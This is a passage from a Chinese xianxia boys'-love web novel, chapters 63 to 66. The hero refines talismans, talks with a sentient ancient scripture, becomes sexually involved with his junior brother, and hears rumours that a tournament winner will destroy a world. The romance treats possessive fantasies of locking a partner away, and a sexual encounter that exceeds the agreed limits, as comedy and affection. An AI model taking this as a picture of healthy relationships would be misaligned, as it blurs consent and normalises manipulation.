古经冷哼一声,“本经才没有贪睡!” 许清浔笑了笑,随即正经地问:“比起这个,前辈刚刚说的是什么意思?” 古经随口道:“金丹期的神念炼不出天品法符。” 许清浔皱了眉头,“连我都不行吗。” 古经一时语塞,想说你小子咋如此自信?但这小子也确实非同寻常,放在任何时代都是人物。 “你小子神念确实强大,但毕竟没有经过天雷洗礼,金丹修士与元婴修士最大的区别在于什么?天劫!天劫会杀死九成以上的渡劫者,但只要成功渡过了,便有无数的好处,比如说神念的强化、肉身的升华。” 它难得解释了一番。 许清浔若有所思地点了点头,又问:“也就是说,可以用天雷锤炼神念?” 古经一顿,心想刚才的话,你就听到这个了吗。 而许清浔仿佛恍然大悟,自顾自地道:“我目前还突破不了元婴境,经受不了天劫,但我可以提前锻炼啊。”说着,他突然掏出一把天雷符,露出了极其兴奋的眼神。 古经傻了眼,“你小子是变态吗,神魂最怕天雷,你要主动用天雷锻炼神魂?” 许清浔点了点头,“不入虎穴,焉得虎子!” 古经寻思,这句话不是这么用的吧。 “此事已定!”许清浔面露笑容,转而问:“修炼之事暂且不说,前辈,我有更重要的事情问您。” 古经仿佛猜到了是什么,心中暗道真是棘手,本经才不想沾你们的因果,但嘴上却是道:“你问吧,趁本经还没睡着。” 许清浔面色顿变凝重,“到底发生了什么,你们古经都在打算什么,这世界……正常吗?” 古经沉默了片刻,然后叹了口气,“世界早就不正常了,如今不过是苟延残喘而已,但喘着喘着,终有尽头。” 许清浔皱眉,“前辈能否不要说谜语。” “才不是!”古经有些激动,“它们打算做什么,本经不知道,也没有兴趣知道,但的确……这世界很不对劲,隐隐约约,模模糊糊,说不清,道不明,仿佛一个事物有两个重影,有时看到这边的影子,有时看到那边的影子,非虚非实,如若镜花水月。” 许清浔一听,头都大了,他身为读者最讨厌的第一是文青,第二是谜语人!遇到谜语人的作者只想给他绑绑几拳。 “别这样看本经,本经也不晓得究竟发生了什么,非要说的话……或许只有天道才知道吧。”古经絮絮叨叨地说, 许清浔面色顿变,“您知道怎么沟通天道吗?” “不知道。”古经回答得很痛快,“道,看不清,摸不着,本经只是一本经,虽承着道,但不知道,知道,是你们人类的任务。” 许清浔险些停乱了,好家伙,哪有把“知”、“道”拆开来说的。他想了想,又问:“那为何,您会在我手里?” 古经愣了愣,竟反问:“为何?” “您自己不知为何吗?” “不知,一觉醒来,便在你手中了。” 闻言,许清浔面色有些古怪,又问:“那您知道我师尊是谁吗?” 古经有点烦躁,“本经睡了几千年,刚睁眼一看就是你,你都不知道你师尊是谁,本经如何知道?” 许清浔睁大眼睛,脑子里突然冒出一个猜想。他的便宜师尊,不会是天道吧! 他心思微乱,照原著来说,这不太可能,但他穿越来的这个世界,早在一开始就不完全等于原著。 有些东西,在他来之前,就悄悄地改变了,为何?他自问,很快又想到了答案。 自然是“天道酬勤”自己说的,为了改变灭世的结局。或者更具体地说,是为了阻止祁桓灭世。他作为天道最重要的棋子,自然要好好铺垫,特别优待。 但是否,天道其实是不允许干预世界运转的,一旦出手干预了,就会不免产生一些小bug,令一些人“偶开天眼”,看到一些本来无法看到的东西? 许清浔心中琢磨,感觉这个说法合理,说得通他父母对他的态度,还有叔父的态度,甚至是王守渊的态度。王守渊自家人都死了,却反而护着他,态度堪称离奇。 或许这世上,有些人知道他是带着“任务”来的,只是不知道“任务”究竟是什么,否则,他们应该更关注祁桓。 不,不是关注,是恨不得杀之而后快。 想到这里,许清浔浑身发凉,冷汗遍布背脊。他们大概率知道的不多,而半知半解,更加危险! 试想一下,若是让九界都知道,他的师弟将会毁灭九界,那些人会如何反应? 他们可跟他不一样,不会对这个“主角”有任何的慈悲心肠。 许清浔不禁深吸了一口气,庆幸至今为止,这些人都只关注他,并未关注到自家师弟身上。 自己的招摇,意外护住了祁桓。 古经见他许久不说话,奇怪道:“你咋,吓到了?” 许清浔赶紧回过神,哈哈一笑道:“吓到?怎么会,我是在想……我简直是气运之子啊!” 古经更加奇怪,“你小子咋能如此自信?” 许清浔眨了眨眼,歪头道:“那当然,我可是受天道眷顾的!” 古经无语了,从未见过如此厚颜……自信之徒! “哼,本经要睡觉了!” “等等啊,给我一点上古符文!” “不给,你小子这么自信,哪还需要本经啊?” “需要的,需要的,前辈您英明神武,大经不记小人过。” “……好吧。” 一阵吵闹过后,许清浔成功从原始太虚经那儿打劫到了一些太古符文,包括五行符、降雷符,甚至还有空间符! “这是时间神通的符文吗?好家伙,哥们赚大发了。” 许清浔赶紧摹刻下来,挨个收到袖口里,随即重新思考起锤炼神念的事。的确如古经所说,以他此时的神念强度,炼制天品符文差了一口气。 但眼下危机将至,刻不容缓,便是冒上风险,也必须要多争取一些自保之力。 他面色严肃,眼里燃着强烈的觉悟。片刻后,修炼内的纸炭堆顿时随风散去,与此同时,炽烈的金光闪耀而出,带着恐怖的高温- 三个时辰后,祁桓归来,停足于法府前,抬起头,身后的剑匣微微摇晃。 “师兄,又乱来了。” 他低语,眼神渐露复杂。虽然说了要一起承受,但他的师兄从来更喜欢一个人承受。 表面灿烂,却隐藏着内心的沉闷与苦痛。 但他也知道,并非对方不信任他,不想与他分享,而是…… “实力。”祁桓皱了皱眉,“我尚没有足够的实力。” 这时,魔经果不其然开口,“实力?小事,只要听我的,与我交易,别说九界大炼,就是整个九界,我也能助你拿下,到时候,还怕你师兄不听你的吗?” 这个提议实在诱惑,若说一点心动都没有,恐怕是骗人的。 祁桓沉默不语。 “他虽答应了你,但随时可能抛下你离开,不觉得吗?” “你为他伏低做小,凡事只求他开心,可你真心觉得,这样就能拿下他,让他为你神魂颠倒,痴情一生?” 魔经邪恶地碎碎念,句句直击痛点。 祁桓眉头越皱越紧,并非因为被戳破了可能性,而是因为—— 他发现,自己居然无法完全相信师兄。 师兄那样的存在,怎会独爱他一人,为他神魂颠倒,痴情一生。 师兄是他的唯一,可他是师兄的唯一吗?师兄总是看着更大的世界,在乎很多,牵挂很多。 他始终不安,也许能随着时间消除,也许不能。至少目前来看,不安反而逐年加重了,时而无声地爆发,令他满脑子都是——把那个人关起来,锁起来,不让任何人看见,便是天道也不能。 沉默许久,祁桓仿佛没听见魔经的话,强行压下翻涌的心思,径直走进了法府之中。 修炼室内,碳纸堆积如山,只稍轻风一吹,便立即化为飞灰。 他推门而入,只见潭水边,青衣修士席地而坐,背对着他,双手不知忙活着什么,仔细一看,袖口也一片炭黑,甚至燃着细小的火星。 对方察觉到他的回归,忽然回头,露出了沾染炭灰的脸。 “师弟,你回家啦。” 接着便是纯净的笑,浅色的双眸澄澈如初见。 家,他曾经拥有,却在一夜之间失去,而如今…… 祁桓顿了顿,无言地走到青衣修士近前,随即半跪下来,伸手轻轻地擦拭对方脸上的炭灰。 “怎会这般不注意。” “啊,我一心炼制法符……”青衣修士略显慌张,仿佛才注意到自己的狼狈样,正欲站起身,却体力不支,不小心砸向了面前之人。 祁桓仿佛早有所料,伸手抱住了青衣修士,“又炼过头了吗。” 青衣修士一呆,好像在琢磨“又”这个字,但一转眼便被拦腰抱了起来,一边手不由自主地抓紧对方。 “你总是如此乱来。”祁桓似乎在抱怨。 青衣修士脸色微红,却又理直气壮地说:“那不是因为有你吗?有你在,我才能乱来。” “如此说来,要师兄不乱来,我就得离开师兄。”祁桓冷不丁地说。 青衣修士闻言面色立变,语气慌张道:“我不是那个意思,嗯……我是说,你很可靠!” 祁桓心中一沉,似乎想听到的不是这句。他将人放在床上,目光垂落,忽然问:“师兄伤筋动骨,需要疏通吗。” “啊?好,你若是乐意……” 话音未落,他转眼便被安排好了,伏倒在冰凉的石床之上,背后传来一阵温暖。 蛮舒服的。许清浔心想,就是有些担心受怕,尤其是对方的手推到后腰时,总觉得脑子里的某个雷达正在不断报警。 忽然,身后之人开口,“师兄,我们是情侣,对吗。” “那当然。”许清浔下意识回答。 “可是,三年过去了,我们……还没做什么情侣之事。” 许清浔呆住,随即警钟大响,虽然他答应了师弟,但、但要是让他……不、自己还不太行! 而且这个姿态,怎么看都是—— 他要吓坏了,但灵觉何其敏锐,他感觉到对方俯下了身! 许清浔大惊,正要忍不住开口叫停,可接着便听见了。 对方罕见地恳求般开口,“只是舔一下,可以吗?” 许清浔脑子轰了一下,这么惹人怜爱的声线,谁能拒绝? 第64章 第六十四章 炽烈、强烈、非他不可的爱…… 话说昨日, 许清浔被蛊得连连应许,脑子不清楚,直至今日一觉醒来,才发现大事不妙了。 此时, 他正藏在宽大的道袍里面, 背靠石壁, 袍子掩脸,只露出一双眸子,幽幽地盯着不远处的黑衣青年。 说是“舔一下”,其实根本不是一下!甚至舔的地方……啊, 不堪回想, 怎会如此! 他、他怎么能做出这种事, 实在太变态了!但更变态的好像是自己, 因为自己从头到尾都允许了,脑子像煮熟了一样,完全没有想要拒绝。甚至觉得很舒服…… 哦不,不对! 许清浔浑身一颤, 连忙抛开想法,深吸了一口气,终于开口:“师弟,虽然你可能没有想到这一步,但师兄要郑重强调,师兄要在上, 而你在下!” 黑衣修士擦剑的动作顿了顿,抬起眸子,目光淡淡地落在许清浔身上,居然十分轻易地点了头, “好。” 许清浔大惊,对方刚刚说“好”了吗,他个主角……居然也能做下! 好家伙,要这么说的话,师兄可就放心了啊。 “哈哈,师弟真是体贴,倒是师兄一直怀疑你……实在是惭愧惭愧。” 祁桓又低头擦剑,仿佛不在意般,问道:“师兄怀疑我什么。” 当然是怀疑你想草.我啊! 许清浔心中低语,虽说他确实爱对方,但这还不代表,他就愿意被.草。 再怎么说……总之太变态了!宁愿柏拉图,也不想啊。 当然,若是自己在上,或许也不是不行。 想到这,许清浔目光一抖,幽幽地打量着对面男人的优越身材。 他昨日绝对是被色.诱的。除此之外……对方真的没有故意装可怜拿捏他吗? 许清浔歪了歪头,心里有些怀疑,若是的话,自家师弟真是越来越……有想法了。那并非坏事,而是说明,至少用心思考了。 不像一开始那么傻乎乎的,憋屈、被动、压抑。 真心想要的东西,自然是要积极努力抢到手才是。难道不是吗? 只要不强.奸,别的都好说。 许清浔的底线出奇的低,低到他本人都毫无意识。 再说了,昨日……是有点爽。不得不承认。 就在他慢慢复盘时,当事人忽然站起身,将手中的长剑插回了剑匣,背过身道:“既然师兄已经恢复了,那师弟就得出门了。” 好的。许清浔心里低语,目光送着祁桓,不知为何,此时心头竟有一种奇怪的感觉,好像有道声音在提醒他,不能就这么让对方走,一定要说些什么。 为何?他也说不清楚,只觉得对方好似不怎么开心,哪怕亲近了一夜,也始终没有多开心。 他思考时,男人几乎要走出修炼室了。 “等等!”许清浔突然开口,不再道袍掩身,刷地下床起身,白发披肩,背手而立,端得一身正经。 黑衣修士脚步一顿,缓缓转身,目光看向许清浔。 “怎么了。” 语气很淡,好像一丝情绪都没有。 他大多时间都如此,仿佛已经习惯了自我压抑,有时候连他自己都无法察觉。 而人若是太过压抑,绝不是一件好事。 许清浔大抵是察觉到了什么,立马灿烂一笑,好似方才那个缩着碎碎念的家伙不是他,目光定定地望着祁桓,笑着说道:“在外历练要时刻小心,别忘了,师兄一直在家等你。” 祁桓瞳孔一震。听到“家”这个字眼词,明显有了情绪。 许清浔瞬间走到祁桓面前,微仰头,“你咋了,难道师兄说的不对?” 祁桓终于回过神,似乎想了想,才道:“对,但我们还未成婚……” 这家伙,真是在奇怪的地方非常执著啊。 “必须要成婚才能成家吗?”许清浔轻笑了一声。 祁桓一愣,紧抿的唇线终于松开,他似乎,知道了师兄的言外之意。 “你是不是……很不安?”许清浔观察着祁桓,忽然认真发问。 祁桓面色明显变了变,眼神略微躲闪,似乎想躲避这个问题,但最后不知想到什么,鼓起了勇气。 “是。” 单一个字,却咬得很紧。 “为何?”许清浔皱眉,显然非常在意。 祁桓沉默片刻,缓缓答道:“师兄忘了吗,你说的考察。” 许清浔呆住,好似才想起来,点点头道:“是说过,所以你难道是……担心考察失败?” 祁桓不答,但深沉的表情已经回答了。 许清浔恍然大悟,顿觉这家伙过分可爱,抬手拍肩道:“这有啥担心的,师兄给你打分一百分!区区考察,没必要在意的!” 祁桓一愣,目光颇为认真地盯着许清浔,似乎在思考这句话的真心成分。 许清浔微怒,“你小子,师兄都说喜欢你了,怎么还不信呢?非要师兄投怀送抱喊你夫君,你才安心?” 祁桓好似被“夫君”一词震惊到了,瞳孔微微颤抖。 “哦,果然是这样。”许清浔目光幽幽,但是也能理解,因为对方多次对他表达过爱意,但他好像……至今为止,更像是被逼无奈、勉强尝试。 啊,所以才这样吗? 许清浔恍然大悟,心情豁然开朗,谈恋爱……要时刻给到对方安全感才行啊。 此时,对方开口,“多谢师兄关心,我会努力追上你的。” 许清浔一呆,忽地凑近对方亲了一口,“你会的!去吧,我相信你!” 他尽所能表达着自己的心情,片刻后,将人目送走,心情略微复杂。 “师弟应该心情好了一些,最后明显笑了。”许清浔稍稍放心,低头自语道:“真是一件难事,我要如何才能告诉他,我很爱他呢。” 一阵迷茫,过后他皱了皱眉,摇头道:“他应当知道的,但还是不安,为何?因为他知道,我和他的心情……并未对等。” 他要的是,更加炽烈、强烈、非他不可的爱。 而现在的自己,做到了吗。 许清浔一愣。 沉默了许久,他低下双眸,喃喃自语道:“恋爱……真难啊。” 心情又无法量化,如何追求对等?这又不是攻略游戏。 该怎么办呢,第一次恋爱,真是束手无策。 等等,第一次恋爱?那为何不问问老海王? 许清浔表情一变,片刻后消去了身形。过了半天,他又回到法府,满脸通红,骂骂咧咧,“那叫什么事,果然不该问合欢宗的人,双修……” 他是个保守派,无法接受! 罢了罢了,别烦恼了,还是炼符吧。 许清浔转头回府,抛开杂念,专心炼符。到了半夜,他因疲劳打了个盹,又进入了之前的梦。 这次,情况比之前更糟糕了,外边的世界好像已经毁灭了,只剩下一座宫殿孤独地悬浮在混沌之中,而他正被捆绑在宫殿正中,衣衫不整,押倒在床榻上,脖颈前插着一柄剑,剑锋利得发光,虽然隔着一两厘米,但迫人得很。 又怎么了? 他傻了眼,艰难地抬起头,环顾四周,似乎在寻找什么人,没看到那个人影后,不禁松了口气,太好了,那个变态不在。 虽然不知道这个时不时出现的“梦”到底怎么回事,但他直觉它绝对不简单,搞不好……不是梦。 许清浔深吸了一口气,扭头看向押在后腰的双手。可以解开吗?他凝聚神念,想象火符,下一刻,火符凭空显现,产生灵火,烧毁了铁链。 得手了! 片刻后,许清浔成功得到自由,小心地起身,一边感知远处,一边观察周围。 怎会如此真实,他扫过无数事物,捏了捏自己,居然是痛的。但他感知不到自己的修为,好像凡人,又好像修士,状态飘忽不定,一时说不清。 “简直跟幽灵一样。”他低语,忽然发现这个形容简直太对了。 可他又不是鬼,人也没死,为什么会是这个状态? 他大惑不解,突然感知到什么,转头向窗外看去,只见大道磨灭,空间破碎,古奥的原始符文汇聚成河,如幽魂般流淌在虚空。 很快,它们将会消失。 直到一切都成空。 许清浔目睹着这一幕,突然感到一股抓心的凄凉,紧迫感控制不住地涌上心头。 必须要改变,必须要阻止。 他不经意间发出了宏愿,目光前所未有之坚定,便是粉身碎骨,失去一切,都必须要做到! 他不知,有一双眼睛从始至终都在盯着他,眼神深沉而疯狂,夹带着强烈的杀意,而与此同时,还有同样强烈的—— 许清浔突然惊觉,朝着视线的方向转过头去,但并未看到什么。 怎么回事,刚刚是不是有人盯着我看? 他内心发毛,这种状态让他非常不安,盯了一会,试探地走过去,而紧接着,他突然停下脚步,浑身肃然,他仿佛感觉到了,身后出现了一个存在感极其强烈的存在,对方正在死死地盯着他。 跟鬼似的!许清浔站定不动,强行压下不安。 而那个存在动了,双手抬起,好像要折断他的脖颈,缓缓地伸来,声音低而沉郁地说:“你究竟是何物,是我的梦,还是……天道造出来蛊惑我的幻觉?” 许清浔顿时一凛,对方在说什么?谁是梦,你才是梦吧? 而接着,那个鬼魅一般的男人继续低语,“但那又如何,没用的,无论梦还是幻觉,都不过是一时的‘闪烁’而已,我会亲手掐灭你。” 许清浔立刻感觉到了一股极其强烈的危机感,好像自己在这里死去,就会真的死去一样。 不行,要反抗!他神念翻涌,强行驱动他的身体,命令他转过身去。 精神如一股热流窜入血脉,当真令他得以动弹,可是就在这时,身后的男人突然紧拥上来,一反常态的温柔,埋首贴蹭他的颈窝,动作间尽是肆无忌惮的占有欲,好像要将他融入肉身一样。 许清浔吓到了,顿时浑身僵硬,不知如何反应。 这个变态干嘛,这次变性了? 这时,身后之人继续述说着,“我真是疯了,纵是梦,居然也想——” 声音戛然而止。 许清浔打盹结束,骤然清醒,睁大了眼睛。 也正刚好,身边传来了一道男声。 “师兄,你方才梦呓……” 许清浔大惊,立刻转头,看到了熟悉的祁桓。 他顿时大为激动,“师弟,你是你,太好了!” 祁桓一愣,“怎么了吗。” “没什么,就是梦见你变了一个人。”许清浔拍了拍胸口,发觉自己后背全是冷汗。 “变了一个人……” 祁桓仿佛想到什么,面色沉了下来,眉宇间覆着阴影。 许清浔看着他,突然轻笑一声,“放心吧,没事,比起梦……” 他故意没说完。 祁桓抬起头,下意识地想问话,但还没张口便被按倒。 甚至顺势骑坐了上来。 青衣修士脸色霞红,自顾自地说:“你回来的真是太及时了,师兄晓得你小子的不安了,思来想去,爱如何表达?当然得做啊!” “师弟别怕,师兄看过书的,问题不大,我会慢慢来的。” 他一本正经地承诺着,看上去十分有把握,声音其实在发抖。 祁桓略微发呆,随后笑了。 第65章 第六十五章 很香,很软- 哪有舔着舔着就进去的, 臭小子,你竟敢暗算师兄! 次日,许清浔趁祁桓背身,立即用空间法符落荒而逃, 他要气死了, 虽然脑子还一片混沌, 但他真的要气死了。 说好的让我上呢,你小子深藏不露,欺人太甚! 他一连烧了几百张空间法符,这才确信对方不会追上来。 真是太离谱了, 亏他这么相信这家伙, 结果平日装老实温顺, 为的就是这一下吧! 许清浔大怒, 转瞬之间消失不见。 祁桓回过头时,空气中仍留着那人的兰香,但床上已经没有人了。看上去,气得不轻。 “……” 沉默许久, 他心想,自己绝不是故意的,对方要上,他也让了,并无不对才是。而且,中间也没什么不愉快…… 到底为何呢。 祁桓沉思着, 似乎在他的记忆里,他真的没有做什么出格之事,然而事实却与他的记忆大相径庭,他的确不自觉地喜欢在恋人面前装纯良, 因为这样,恋人就会控制不住地心软,宠他,爱他,为他不断让步,让他吃干抹净。 终于是成功了,他无意识地想,分明表情仿佛在愧疚,内心却控制不住地流露出了赤.裸的贪婪,随即唇线缓缓上扬,仿佛终于尝到了心仪已久的猎物。 但是还不够,还不满足,他低眸,无声地低语。 根本没有尽兴,还远远不是开始,对方居然就跑了,明明说要“表达爱意”的,是对方才对。 旭日东升,炽热的白光自上而下地落在床铺上,将法府内的光景照得一片清晰。 祁桓沉默许久,不知想着什么,目光定定地望着对方落下的外袍,片刻后才真正地回味过来。 师兄,比想象中柔软多了。 很香,很软,还有…… 他顿了顿,面色微变,似乎才意识到自己的想法近乎变态。 当务之急,不应该是感慨,而是追到师兄,哄好才是。 他皱紧眉头,转瞬也消去了身形。 过了几天,四处流言蜚语。 比如又有天才显世,以无敌之姿镇压四面八方,又比如侠剑、金刚、六欲等强者激烈交锋,恐怖的大斗法波及了大片莲花领域。 还比如说,万法和屠夫又闹矛盾了。 侠剑听闻传言,眉头微皱,“他们又来?” 总觉得九界大炼期间,这俩不知闹了多少次矛盾,然后又会和好得如胶如漆,羡煞旁人。 说是师兄弟,但普通的师兄弟可绝不这样。 “我赌一亿灵石,他们关系绝对不一般!”金刚不知何时已经来了,带上一壶奇香无比的黄酒,敞开手脚大喝特喝,畅快至极。 侠剑扫了眼酒,缓缓地抬起视线,平淡道:“这不是众所周知的事吗。” 金刚一愣,挠了挠头道:“是吗?哈哈,我还以为就我发现了,他们真是比亲兄弟还亲啊。” “不过,莲心只有一个,再怎么亲近,到时候也免不了竞争。”侠剑沉声道。 “那又何妨?”金刚满不在意,喝了口酒道:“输给兄弟,比输给谁都强。” 侠剑睁大眼睛,随后赞同地点了点头,“那倒也是,不管怎样,都要凭自己本事。” “比起这个,你听说那件事了吗。”金刚的面色突然一沉,双眸好似泛着金光,十分犀利。 侠剑早有预知,眉头微皱,最后叹了口气,“知道,不知是什么人传出的,现在所有人都知道了吧。” 九界大炼,本该是年轻人展露拳脚,争夺机缘之地,然而这些天里,隐隐有一种传闻流出。 那便是,这一届的九界大炼,将决定一界命运,赢家可以决定葬灭一界。 “你觉得,那个传闻是真是假?”金刚提问,神色罕见的严肃。 侠剑神色凝重,“我出身平凡,无从得知。” 言外之意是,或许那些大宗门或大世家会知道真相。 众所周知,无论在哪一界,立于顶点的不是大宗门就是大世家,他们是最知道世界走向的人。 金刚挑了挑眉,语气略微复杂,“其实来之前,我家老头子跟我暗示过……这一代将要大事发生。” 他们正聊着,又有一人出现,竟是曾经挑战过许清浔的火神洪。 火神洪听到了他们之前的谈话,特意加入,补充道:“听说,必须选择一个。” 侠剑、金刚同时变了面色。 “必须葬灭一界?为何?”侠剑当即询问。 “支撑九界运转的灵力不够了,必须灭了一界,才能确保另外八界的存续。”火神洪抬起手,幻化出一朵细小的莲花,其中一片花瓣即将随着重力剥落,仿佛在比喻着什么。 侠剑面色一白,忍不住问:“那些大人物们也束手无策了吗?” 火神洪不答,“是,火神经说的。” 金刚攥紧拳头,“也就是说,无论如何,赢家都会成为葬灭一界的刽子手?” 火神洪点头,“是,若是不选,莲花洞天则会随机葬灭一界,以保剩余八界的存续。” “可是谁担得起那么大的因果?为什么偏偏要赢家来做选择?”侠剑忍不住问。 火神洪眉头紧皱,反问:“但也不能随随便便找一个人决定吧?” 金刚似乎想到了什么,“赢到最后之人,必然有强大的道心,以及足够的资格。” 话音未落,他们脸色都变了。 他们来自不同的世界,若自己一方无法赢到最后,那么家乡的存亡就将落到别人手中,别人一念之间,就能葬灭他们的世界,杀死他们的亲朋好友,消灭他们的宗门道统。 而照这么下去,最有可能赢到最后的人是谁? 毫无疑问是万法! 那么万法又是哪一界的人?玄界,跟他们都不一样。 与此同时,实力仅此于万法的屠夫也来自玄界,甚至六欲、不死,都来自玄界! 阁楼陷入了一阵静默。 侠剑一言不发。金刚闷声喝酒。火神洪低头,拳头越抓越紧。 他们都是有根之人,无法坐视自己的根被人铲断,然而万一到时候,偏偏是他们的世界被葬灭了呢。 忽然,金刚勉强一笑,试图缓和气氛,“或许只是一个谣言而已呢,九界存在了这么久,岂是说变成八界就变成八界的?” 然而,火神洪却道:“或许有些人早就知道了,甚至早就开始准备了。” “是,若是没有万法屠夫横空出世,我猜玄界是最有可能被葬灭的一个。”侠剑十分理性,分析道:“玄界是九界之中实力最弱、人数最少的一界,若是要抛弃,它当是首选。” 不得不说,这话太对了,从因果的大小来说,葬灭玄界绝对是首选,若是他们得到了选择权,十有八九会做出这个选择。 只是现在…… 他们的面色又变了变,交换了眼神。 侠剑道:“我不觉得万法会坐视玄界葬灭,他这个人重情重义,必定会抢夺莲心,保住玄界。” 金刚饮了口酒,赞同道:“我也觉得。” 火神洪更加觉得,他可是被万法的手下败将,再了解万法不过。 但万一,万法选择葬灭了他们的世界呢? 这个可怕的想法瞬间令他们毛骨悚然,面色愈发沉重。 八选一,可能性说大不大,说小不小。 “……” 侠剑倏然起身,“临阵磨剑,倒不知能不能成事。”说完,她消去了身影。 剩下两人。 金刚点了点头,虎目柔情,“再怎么说,我也不能袖手旁观。” 火神洪不语,他能感觉到,这一代的最终斗法说不一定会是最近几个纪元以来最激烈的一次。 因为,谁都不想自己的世界被毁灭。 那个最终的选择权,不能落在除自己一方以外的任何人身上。 而最有可能夺冠的人,恐怕会遭到最严酷的围杀。到时,自己该怎么办呢。 火神洪有些迷茫,最终无言地离开。 形势愈发残酷,到处剑拔弩张,有些修士同出一界,选择了联手,有些修士依旧独来独往,好像并不相信那个谣言。 或许,那只是什么人搅乱他们道心的手段而已。 与此同时,某个法府门口,某一修士鬼鬼祟祟地探出头,担忧地望着百里开外的光景。 他好像并不担心那个传闻,满心只有一件事,那就是——不能被他师弟发现! 咳,可不是他要玩捉迷藏。虽然这种事好像已经不是第一回了,但这次情况不一样,他可是……失去了生而为人最重要的东西之一——节操啊! 他到现在都心有余悸,难以释然啊。 许清浔大怒大悲,愣是不理解他为何翻车了,他柔柔弱弱楚楚可怜的师弟,怎会突然“兽性大发”,这不科学! 他不愿相信那是祁桓自己的想法,他怀疑,是灭世魔经怂恿的! 可恶、可恨,该死的万恶之源,就是你让我家好师弟变态的吧!老子要跟你拼了! 许清浔内心无比激动,但是心里也明白,躲了这么多天,已经足够了,再躲下去感觉会发生什么大事了。 第一次就让一下吧,还有第二次、第三次!他会证明,他才是绝世猛1! 他给自己猛打气,眼神坚定得冒火,而就在这时,他的腰猝不及防地被人揽住,躲了半个月的男人突然出现在他身后,俯身贴近,大腿微顶,在他耳边低语,“师兄,你在这吗。” 许清浔当即瞳孔地震。 第66章 第六十六章 被男人草爽了 你、你个臭小子!! 片刻之后, 法府正中,两人相对而坐,其中一人怒气冲冲,面色涨红, 另一人正经端坐, 低头低眉, 似乎方才被迎头痛击了一顿,因此额头红了一片。 虽然,他丝毫没有改过自新之意。 “下次还敢偷袭师兄吗?看着师兄的眼睛说话!”许清浔怒不可遏,猛地拍桌, 气势汹汹。 那不叫偷袭。祁桓心里想, 却认真地点了点头, 不管怎样, 先让师兄消气。 许清浔见祁桓一副已经深刻认错的模样,忽然一阵语塞,心想难道祁桓真的不知何谓“上下”?当时只是搞错了而已? 他有点狐疑,眼神打量着祁桓, 似乎在思考对方是否说谎。 这时,祁桓忽然开口,打乱了许清浔的思考,“别的暂且不说,师兄身体还好吗。” 他抬起了头,露出一双黑深的眸子。 许清浔闻言心头一跳。身体还好?当然好啊, 我又不是真被暗算了。 不过……被男人草爽了这种事,他这辈子都不会承认的!想到这,许清浔莫名心虚,微抬下巴道:“一点小事, 前后才不到一刻钟,我能有什么大碍?你师兄的道体强大得很!” “小事……” 祁桓似乎身体微震了一下,低头默语。 “没错!”许清浔继续板着脸,仿佛一个身经百战的大海王,装作游刃有余地说:“一点感觉都没有,你要是不说,师兄早就忘了。” “……是吗。” 祁桓眉头微皱,仿佛正在深刻反省。 虽然,许清浔的话有着相当明显的矛盾,他若是不在意,怎会躲了祁桓整整半个月。当然,在他心中,那不是躲,而是闭关修炼! 不过,这个话题还是不要说了!许清浔精神一振,正欲开口。 祁桓意外抢断了时机,“比起这件事,师兄注意到了吗,到处流传的那个消息。” 许清浔面色顿变,将杂念全部压下,认真地思忖了片刻。 “我不知,那是什么人传出的消息。” 之前,他跟祁桓坦白了一些即将发生的大事,其中就包括这届九界大炼的幕后阴谋。万万没想到,居然有人泄漏了这个消息,这是原著并未发生过的事情。 说明了什么?可能性很多,比如说另外有穿越者,还有可能是土著觉醒。前者不太可能,毕竟天道说了,他是唯一的选择。那么可能性最大的就是后者。 ……大差不差。 “不管怎样,这件事对我不利。”许清浔思考了一番,最终作出结论,“最终大战的时候,我估计会被集火。” 空气微微凝固。 显然,祁桓也是差不多看法。 “要不是他们一直躲藏,我就能提前揪出他们了。”许清浔笑了笑,语气轻松,随手拿起面前的酒杯,小饮了一口。 祁桓看着他的动作,似乎有些欲言又止,眼神愈发深沉。 许清浔感觉到了祁桓的杀气,动作一顿,语气和缓道:“师弟,你可不要想什么在大战开始前大开杀戒的事。” 心思被说破,祁桓皱了皱眉,“若不这样,他们定会隐藏到最后。” “是,绝对会。”许清浔点点头,“在最终大战前杀光莲花洞天所有人,提前确保胜利,对我来说是最好的做法。” 祁桓抬头,“那……” “可这样岂是我的行事作风?”许清浔十分豁然,“再者,我要是做得太过分,他们也可能提前联手,甚至原本不是敌人的人都会成为敌人。” 祁桓一顿。 “所以,当下最好什么都不做,专注提高修为,才是上策,你不觉得吗?”许清浔看着祁桓的眼睛,笑道:“再者说,我不还有你吗?只要你在我这边,他们就是再多人联手,也绝不是我们的对手。” 祁桓感受到了许清浔对他的信心,他的师兄,似乎初次见面时起,就对他有着超乎寻常的信心。 这话倒也没错,只要他们联手,对面就是再多人…… 他刚想到这,许清浔忽然补充了一句,“对了,李梦好、姬舞明也是玄界的人,我们绝不是孤立无援。” 祁桓面色微黑,仿佛在说,他们可有可无! 许清浔淡淡地笑了,“总之,外界的流言蜚语无须在意,无非是为了针对我散布的,我们若是被影响了道心,乃至临阵乱出牌,那才是大问题。” “师弟明白。”祁桓认可地点了点头。 “不过……”许清浔盯着祁桓,一度怀疑了自己的眼睛,琢磨了片刻才道:“你居然突破了?” 他说的突破,指的是祁桓从金丹中期,突破到了金丹后期。 如果他记的没错,祁桓好像前年才突破金丹中期吧,居然这么快就金丹后期了? 这个速度……超了原著将近十年啊! 而祁桓闻言,思索了一下才道:“是,第二天。” 嗯?什么的第二天? 许清浔呆了一下,突然面色涨红,咬牙切齿。 他心想,你小子什么意思,暗示草师兄能突破,所以要多草师兄,然后多突破是吧? 你个变态!! 然而,对方好像不知道他在气什么,还敢抬起脸,认真地问道:“师兄怎么了吗。” 怎么了?本师兄怀疑,你还要草师兄! 许清浔心中怒火腾腾,偏偏为了面子,只好在祁桓面前装作并不在意。他摆了摆手,游刃有余般道:“没什么,成大事不拘小节,师兄心胸开阔得很,不过吧,这也能助你突破……倒也说明我俩的体质十分契合。” “契合?”祁桓好奇地问。 “是指阴阳五行的契合。”许清浔十分严肃,他怀疑这家伙想歪了,半边眉挑了起来,很是严肃。 “原来如此。”祁桓好似恍然大悟,郑重地点了点头。 许清浔非常怀疑,几乎瞪直了眼。 而祁桓始终淡定,好像并无什么下作心思。 话说没做之前,许清浔一直以为祁桓是纯爱党,而现在…… 许清浔目光幽幽,心想这个男人搞不好是纯欲党,又或是纯爱又纯欲,那方面的需求绝对不弱。 等等,好家伙,那他平时都是在伪装吧?哪怕是此时此刻…… 许清浔瞳孔微缩,不由自主地目光下移,随后恼羞成怒,当即立身而起,拂袖道:“总之,事情就是这样,外边的事没什么好在意的,任他们搅和,咱们的当务之急是提升修为,你也修炼去吧。” 祁桓缓缓起身,目光始终落在许清浔身上。 